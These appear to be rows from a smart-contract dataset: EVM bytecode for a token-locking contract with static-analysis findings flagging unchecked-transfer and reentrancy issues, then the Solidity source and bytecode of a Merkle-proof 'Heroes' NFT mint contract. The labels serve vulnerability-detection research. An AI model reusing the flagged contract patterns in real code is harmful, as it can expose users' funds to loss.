2290919063ffffffff16565b91508080600101915050611e3a565b50919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f6c57600080fd5b6000611f7785612759565b90506000611f8e8442612f2290919063ffffffff16565b90506000611f9c88886127c8565b146040518060400160405280601581526020017f546f6b656e7320616c7265616479206c6f636b6564000000000000000000000081525090612079576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561203e578082015181840152602081019050612023565b50505050905090810190601f16801561206b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008514156040518060400160405280601381526020017f416d6f756e742063616e206e6f742062652030000000000000000000000000008152509061215b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612120578082015181840152602081019050612105565b50505050905090810190601f16801561214d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060000154141561221f57600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150506001900390600052602060002001600090919091909150555b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156122fc57600080fd5b505af1158015612310573d6000803e3d6000fd5b505050506040513d602081101561232657600080fd5b810190808051906020019092919050505050604051806060016040528086815260200182815260200160001515815250600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550905050818773ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8784604051808381526020018281526020019250505060405180910390a3600192505050949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461249d57600080fd5b60006124a884612759565b905060006124b633866127c8565b116040518060400160405280601081526020017f4e6f20746f6b656e73206c6f636b65640000000000000000000000000000000081525090612593576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255857808201518184015260208101905061253d565b50505050905090810190601f1680156125855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506125fa83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060010154612f2290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060010181905550803373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010154604051808381526020018281526020019250505060405180910390a3600191505092915050565b60006060829050600081511415612776576000801b91505061277f565b60208301519150505b919050565b6002602052816000526040600020602052806000526040600020600091509150508060000154908060010154908060020160009054906101000a900460ff16905083565b6000806127d483612759565b9050600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060020160009054906101000a900460ff1661289257600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008281526020019081526020016000206000015491505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128f457600080fd5b60006128ff85612759565b905060006129168442612f2290919063ffffffff16565b9050600061292c3361292785611b5c565b6127c8565b146040518060400160405280601581526020017f546f6b656e7320616c7265616479206c6f636b6564000000000000000000000081525090612a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129ce5780820151818401526020810190506129b3565b50505050905090810190601f1680156129fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008514156040518060400160405280601381526020017f416d6f756e742063616e206e6f7420626520300000000000000000000000000081525090612aeb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ab0578082015181840152602081019050612a95565b50505050905090810190601f168015612add5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600001541415612baf57600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150506001900390600052602060002001600090919091909150555b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612c8c57600080fd5b505af1158015612ca0573d6000803e3d6000fd5b505050506040513d6020811015612cb657600080fd5b810190808051906020019092919050505050604051806060016040528086815260200182815260200160001515815250600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff021916908315150217905550905050813373ffffffffffffffffffffffffffffffffffffffff167fea90ef40963535482537f0689e05cb8d259e459ebd21530e826702294d0eafdd8784604051808381526020018281526020019250505060405180910390a36001925050509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612e2a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e6457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015612fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612fec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ff4565b905092915050565b60008383111582906130a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561306657808201518184015260208101905061304b565b50505050905090810190601f1680156130935780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea264697066735822122080f3aec1020fcfc4636736ea1bb5ed5b22672f1ca7ab3f02678068659117747b64736f6c63430006020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,130 |
0x1283ff14fb1de447955af429af05eafe959d2639 | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.6;
interface IMirrorWriteRaceOracle {
function verify(
address account,
uint256 index,
bytes32[] calldata merkleProof
) external returns (bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title Heroes
* @author MirrorXYZ
* A example of a sybil-resistant fair-mint NFT, using merkle proofs.
* Inspired by Loot (https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7)
*/
contract Heroes {
string public constant name = "Heroes";
string public constant symbol = "HEROES";
// The address of the $WRITE Race Oracle for identity.
address immutable oracle;
mapping(address => bool) public claimed;
uint256 nextTokenId = 1;
string[] private firstNames = [
"Orie",
"Guadalupe",
"Nyx",
"Gertrude",
"Queenie",
"Nathaniel",
"Joyce",
"Claudine",
"Olin",
"Aeneas",
"Elige",
"Jackson",
"Euclid",
"Myrtie",
"Turner",
"Neal",
"Wilmer",
"Nat",
"Euna",
"Aline",
"Iris",
"Sofia",
"Morpheus",
"Curtis",
"Claire",
"Apinya",
"Lefteris",
"Alice",
"Hector",
"Malee",
"Geo",
"Murry",
"Anastasia",
"Kahlil",
"Paris",
"Noble",
"Clara",
"Besse",
"Wilhelmina",
"Napoleon",
"Phillip",
"Isaiah",
"Alexander",
"Lea",
"Verner",
"Verla",
"Beatrice",
"Willie",
"William",
"Elvira",
"Mildred",
"Sula",
"Dido",
"Adaline",
"Jean",
"Inez",
"Reta",
"Isidore",
"Liza",
"Rollin",
"Beverly",
"Theron",
"Moses",
"Abbie",
"Emanuel",
"Buck",
"Alphonso",
"Everett",
"Ruth",
"Easter",
"Cecil",
"Ivy",
"Mariah",
"Lottie",
"Barney",
"Adeline",
"Hazel",
"Sterling",
"Kathrine",
"Mina",
"Eva",
"Francisco",
"Neva",
"Myrle",
"Hector",
"Velva",
"Dewey",
"Manda",
"Mathilda",
"Pallas",
"Zollie",
"Lella",
"Hiram",
"Orval",
"Marcia",
"Leda",
"Patricia",
"Ellie",
"Riley",
"Evie",
"Zelia",
"Leota",
"Camilla",
"Mat",
"Helen",
"Letha",
"Thomas",
"Osie",
"Stella",
"Bernice",
"Daisy",
"Hosea",
"Frederick",
"Reese",
"Adah",
"Nettie",
"Wade",
"Hugo",
"Sipho",
"Ollie",
"Zola",
"Arlie",
"Iyana",
"Webster",
"Rae",
"Alden",
"Juno",
"Luetta",
"Raphael",
"Eura",
"Cupid",
"Priam",
"Kame",
"Louis",
"Hana",
"Lyra",
"Kholo",
"Gunnar",
"Olafur",
"Anatolia",
"Lelia",
"Agatha",
"Helga",
"Rossie",
"Katsu",
"Toku",
"Verdie",
"Nandi",
"Anna",
"Maksim",
"Mihlali",
"Aloysius",
"Mittie",
"Olive",
"Virgie",
"Gregory",
"Leah",
"Maudie",
"Fanny",
"Andres",
"Mava",
"Ines",
"Clovis",
"Clint",
"Scarlett",
"Porter",
"Isabelle",
"Mahlon",
"Elsie",
"Seth",
"Irma",
"Annis",
"Pearle",
"Dumo",
"Lamar",
"Fay",
"Olga",
"Billie",
"Maybelle",
"Santiago",
"Ludie",
"Salvador",
"Adem",
"Emir",
"Hamza",
"Emre"
];
string[] private lastNames = [
"Galway",
"Wheeler",
"Hotty",
"Mae",
"Beale",
"Zabu",
"Robins",
"Farrell",
"Goslan",
"Garnier",
"Tow",
"Chai",
"Seong",
"Ross",
"Barbary",
"Burress",
"McLean",
"Kennedy",
"Murphy",
"Cortez",
"Aku",
"Middlemiss",
"Saxon",
"Dupont",
"Sullivan",
"Hunter",
"Gibb",
"Ali",
"Holmes",
"Griffin",
"Patel",
"Kabble",
"Brown",
"Guillan",
"Thompson",
"Doolan",
"Brownhill",
"de la Mancha",
"Crogan",
"Fitzgerald",
"Flaubert",
"Salander",
"Park",
"Singh",
"Hassan",
"Peri",
"Horgan",
"Tolin",
"Kim",
"Beckham",
"Shackley",
"Lobb",
"Yoon",
"Blanchet",
"Wang",
"Ames",
"Liu",
"Raghavan",
"Morgan",
"Xiao",
"Mills",
"Yang",
"Pabst",
"Duffey",
"Monaghan",
"Bu",
"Teague",
"Obi",
"Abberton",
"Corbin",
"Zhang",
"Kildare",
"Okoro",
"Eze",
"Rovelli",
"Garcia",
"Wareham",
"Sun",
"Langhorne",
"Liu",
"Popov",
"Howlett"
];
string[] private prefixes = [
"President",
"General",
"Captain",
"Dr",
"Professor",
"Chancellor",
"The Honourable",
"Venerable",
"Barrister",
"Prophet",
"Evangelist",
"Senpai",
"Senator",
"Speaker",
"Sama",
"Chief",
"Ambassador",
"Nari",
"Lion-hearted",
"Tireless",
"Poet",
"Beloved",
"Godlike",
"All-Powerful",
"Sweet-spoken",
"Wise Old",
"Peerless",
"Gentle",
"Swift-footed",
"Mysterious",
"Dear",
"Revered",
"Adored"
];
string[] private suffixes = [
"I",
"II",
"III",
"the Thoughtful",
"of the Sword",
"the Illustrious",
"from the North",
"from the South",
"the Younger",
"the Elder",
"the Wise",
"the Mighty",
"the Great",
"the Hero",
"the Adventurer",
"the Beautiful",
"the Conqueror",
"the Courageous",
"the Valiant",
"the Fair",
"the Magnificent",
"the Pious",
"the Just",
"the Peaceful",
"the Rich",
"the Learned",
"the Bold",
"the Giant",
"the Deep-minded",
"the Brilliant",
"the Joyful",
"the Famous",
"the Bard",
"the Knowing",
"the Sophisticated",
"the Enlightened"
];
mapping(uint256 => address) internal _owners;
mapping(address => uint256) internal _balances;
mapping(uint256 => address) internal _tokenApprovals;
mapping(address => mapping(address => bool)) internal _operatorApprovals;
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
constructor(address oracle_) {
oracle = oracle_;
}
// Allows any of the WRITE Race candidates to claim.
function claim(
address account,
uint256 index,
bytes32[] calldata merkleProof
) public {
// Only one claimed per account.
require(!claimed[account], "already claimed");
claimed[account] = true;
// Prove $WRITE Race Identity.
require(
IMirrorWriteRaceOracle(oracle).verify(account, index, merkleProof),
"must prove oracle"
);
// Mint a character for this account.
_safeMint(account, nextTokenId);
// Increment the next token ID.
nextTokenId += 1;
}
// ============ Building Token URI ============
// Mostly looted from Loot: https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7#code
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "nonexistent token");
string[3] memory parts;
parts[
0
] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getFullName(tokenId);
parts[2] = "</text></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2])
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Hero #',
toString(tokenId),
'", "description": "Heroes", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked("data:application/json;base64,", json)
);
return output;
}
function getFullName(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "nonexistent token");
uint256 randFirst = random(
string(abi.encodePacked("f", toString(tokenId)))
);
uint256 randLast = random(
string(abi.encodePacked("l", toString(tokenId)))
);
uint256 randPrefix = random(
string(abi.encodePacked("p", toString(tokenId)))
);
uint256 randSuffix = random(
string(abi.encodePacked("s", toString(tokenId)))
);
bool hasPrefix = randPrefix % 21 > 13;
bool hasSuffix = randSuffix % 21 > 13;
string memory fullName = string(
abi.encodePacked(
firstNames[randFirst % firstNames.length],
" ",
lastNames[randLast % lastNames.length]
)
);
if (hasPrefix) {
fullName = string(
abi.encodePacked(
prefixes[randPrefix % prefixes.length],
" ",
fullName
)
);
}
if (hasSuffix) {
fullName = string(
abi.encodePacked(
fullName,
" ",
suffixes[randSuffix % suffixes.length]
)
);
}
return fullName;
}
// ============ NFT Methods ============
function supportsInterface(bytes4 interfaceId) public pure returns (bool) {
return interfaceId == 0x780e9d63;
}
function balanceOf(address owner_) public view returns (uint256) {
require(owner_ != address(0), "balance query for the zero address");
return _balances[owner_];
}
function ownerOf(uint256 tokenId) public view virtual returns (address) {
address _owner = _owners[tokenId];
require(_owner != address(0), "owner query for nonexistent token");
return _owner;
}
function burn(uint256 tokenId) public {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"transfer caller is not owner nor approved"
);
_burn(tokenId);
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _owners[tokenId] != address(0);
}
function _burn(uint256 tokenId) internal {
address owner_ = ownerOf(tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner_] -= 1;
delete _owners[tokenId];
emit Transfer(owner_, address(0), tokenId);
}
function approve(address to, uint256 tokenId) public virtual {
address owner = ownerOf(tokenId);
require(to != owner, "approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId)
public
view
virtual
returns (address)
{
require(_exists(tokenId), "nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address approver, bool approved) public virtual {
require(approver != msg.sender, "approve to caller");
_operatorApprovals[msg.sender][approver] = approved;
emit ApprovalForAll(msg.sender, approver, approved);
}
function isApprovedForAll(address owner, address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(msg.sender, tokenId),
"transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"transfer to non ERC721Receiver implementer"
);
}
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(_exists(tokenId), "operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"transfer to non ERC721Receiver"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "mint to the zero address");
require(!_exists(tokenId), "token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "transfer of token that is not own");
require(
to != address(0),
"transfer to the zero address (use burn instead)"
);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_owners[tokenId] = to;
_balances[to] += 1;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try
IERC721Receiver(to).onERC721Received(
msg.sender,
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/7f6a1666fac8ecff5dd467d0938069bc221ea9e0/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
| 0x608060405234801561001057600080fd5b506004361061011b5760003560e01c8063465411c1116100b2578063a22cb46511610081578063c87b56dd11610066578063c87b56dd14610308578063c884ef831461031b578063e985e9c51461033e57600080fd5b8063a22cb465146102e2578063b88d4fde146102f557600080fd5b8063465411c11461025f5780636352211e1461027257806370a082311461028557806395d89b41146102a657600080fd5b806323b872dd116100ee57806323b872dd146102135780633d13f8741461022657806342842e0e1461023957806342966c681461024c57600080fd5b806301ffc9a71461012057806306fdde031461018a578063081812fc146101d3578063095ea7b3146101fe575b600080fd5b61017561012e366004611c15565b7fffffffff00000000000000000000000000000000000000000000000000000000167f780e9d63000000000000000000000000000000000000000000000000000000001490565b60405190151581526020015b60405180910390f35b6101c66040518060400160405280600681526020017f4865726f6573000000000000000000000000000000000000000000000000000081525081565b60405161018191906120bd565b6101e66101e1366004611c4f565b61037a565b6040516001600160a01b039091168152602001610181565b61021161020c366004611b44565b6103ff565b005b6102116102213660046119f5565b610529565b610211610234366004611b6e565b6105b0565b6102116102473660046119f5565b610769565b61021161025a366004611c4f565b610784565b6101c661026d366004611c4f565b61080c565b6101e6610280366004611c4f565b610a59565b6102986102933660046119a0565b610aea565b604051908152602001610181565b6101c66040518060400160405280600681526020017f4845524f4553000000000000000000000000000000000000000000000000000081525081565b6102116102f0366004611b0d565b610b84565b610211610303366004611a31565b610c49565b6101c6610316366004611c4f565b610cd7565b6101756103293660046119a0565b60006020819052908152604090205460ff1681565b61017561034c3660046119c2565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b6000818152600660205260408120546001600160a01b03166103e35760405162461bcd60e51b815260206004820152601160248201527f6e6f6e6578697374656e7420746f6b656e00000000000000000000000000000060448201526064015b60405180910390fd5b506000908152600860205260409020546001600160a01b031690565b600061040a82610a59565b9050806001600160a01b0316836001600160a01b0316141561046e5760405162461bcd60e51b815260206004820152601960248201527f617070726f76616c20746f2063757272656e74206f776e65720000000000000060448201526064016103da565b336001600160a01b03821614806104a857506001600160a01b038116600090815260096020908152604080832033845290915290205460ff165b61051a5760405162461bcd60e51b815260206004820152603060248201527f617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f722060448201527f617070726f76656420666f7220616c6c0000000000000000000000000000000060648201526084016103da565b6105248383610e3b565b505050565b6105333382610eb6565b6105a55760405162461bcd60e51b815260206004820152602960248201527f7472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f766564000000000000000000000000000000000000000000000060648201526084016103da565b610524838383610fbd565b6001600160a01b03841660009081526020819052604090205460ff16156106195760405162461bcd60e51b815260206004820152600f60248201527f616c726561647920636c61696d6564000000000000000000000000000000000060448201526064016103da565b6001600160a01b0380851660009081526020819052604090819020805460ff19166001179055517f8be0861e0000000000000000000000000000000000000000000000000000000081527f0000000000000000000000006a6893cb59a559458d61618300598394743f074790911690638be0861e906106a2908790879087908790600401612051565b602060405180830381600087803b1580156106bc57600080fd5b505af11580156106d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f49190611bf8565b6107405760405162461bcd60e51b815260206004820152601160248201527f6d7573742070726f7665206f7261636c6500000000000000000000000000000060448201526064016103da565b61074c8460015461119a565b600180600082825461075e91906120d0565b909155505050505050565b61052483838360405180602001604052806000815250610c49565b61078e3382610eb6565b6108005760405162461bcd60e51b815260206004820152602960248201527f7472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f766564000000000000000000000000000000000000000000000060648201526084016103da565b610809816111b8565b50565b6000818152600660205260409020546060906001600160a01b03166108735760405162461bcd60e51b815260206004820152601160248201527f6e6f6e6578697374656e7420746f6b656e00000000000000000000000000000060448201526064016103da565b60006108a561088184611260565b6040516020016108919190611fdd565b604051602081830303815290604052611392565b905060006108c56108b585611260565b6040516020016108919190611e8f565b905060006108e56108d586611260565b6040516020016108919190611e12565b905060006109056108f587611260565b6040516020016108919190611e57565b90506000600d610916601585612179565b1190506000600d610928601585612179565b1190506000600280805490508861093f9190612179565b8154811061094f5761094f6121b9565b90600052602060002001600380805490508861096b9190612179565b8154811061097b5761097b6121b9565b90600052602060002001604051602001610996929190611df2565b604051602081830303815290604052905082156109f957600480546109bb9087612179565b815481106109cb576109cb6121b9565b90600052602060002001816040516020016109e7929190611dc0565b60405160208183030381529060405290505b8115610a4d5760058054829190610a109087612179565b81548110610a2057610a206121b9565b90600052602060002001604051602001610a3b929190611d8d565b60405160208183030381529060405290505b98975050505050505050565b6000818152600660205260408120546001600160a01b031680610ae45760405162461bcd60e51b815260206004820152602160248201527f6f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b6560448201527f6e0000000000000000000000000000000000000000000000000000000000000060648201526084016103da565b92915050565b60006001600160a01b038216610b685760405162461bcd60e51b815260206004820152602260248201527f62616c616e636520717565727920666f7220746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103da565b506001600160a01b031660009081526007602052604090205490565b6001600160a01b038216331415610bdd5760405162461bcd60e51b815260206004820152601160248201527f617070726f766520746f2063616c6c657200000000000000000000000000000060448201526064016103da565b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610c533383610eb6565b610cc55760405162461bcd60e51b815260206004820152602960248201527f7472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f766564000000000000000000000000000000000000000000000060648201526084016103da565b610cd1848484846113c3565b50505050565b6000818152600660205260409020546060906001600160a01b0316610d3e5760405162461bcd60e51b815260206004820152601160248201527f6e6f6e6578697374656e7420746f6b656e00000000000000000000000000000060448201526064016103da565b610d4661195d565b60405180610120016040528060fd815260200161222260fd91398152610d6b8361080c565b6020828101918252604080518082018252600d81527f3c2f746578743e3c2f7376673e0000000000000000000000000000000000000081840152818501819052845193519151600094610dc2949093929101611d4a565b60405160208183030381529060405290506000610e0f610de186611260565b610dea8461144c565b604051602001610dfb929190611ec7565b60405160208183030381529060405261144c565b905080604051602001610e229190611f98565b60408051601f1981840301815291905295945050505050565b6000818152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190610e7d82610a59565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600660205260408120546001600160a01b0316610f3f5760405162461bcd60e51b8152602060048201526024808201527f6f70657261746f7220717565727920666f72206e6f6e6578697374656e74207460448201527f6f6b656e0000000000000000000000000000000000000000000000000000000060648201526084016103da565b6000610f4a83610a59565b9050806001600160a01b0316846001600160a01b03161480610f855750836001600160a01b0316610f7a8461037a565b6001600160a01b0316145b80610fb557506001600160a01b0380821660009081526009602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610fd082610a59565b6001600160a01b03161461104c5760405162461bcd60e51b815260206004820152602160248201527f7472616e73666572206f6620746f6b656e2074686174206973206e6f74206f7760448201527f6e0000000000000000000000000000000000000000000000000000000000000060648201526084016103da565b6001600160a01b0382166110c85760405162461bcd60e51b815260206004820152602f60248201527f7472616e7366657220746f20746865207a65726f20616464726573732028757360448201527f65206275726e20696e737465616429000000000000000000000000000000000060648201526084016103da565b6110d3600082610e3b565b6001600160a01b03831660009081526007602052604081208054600192906110fc90849061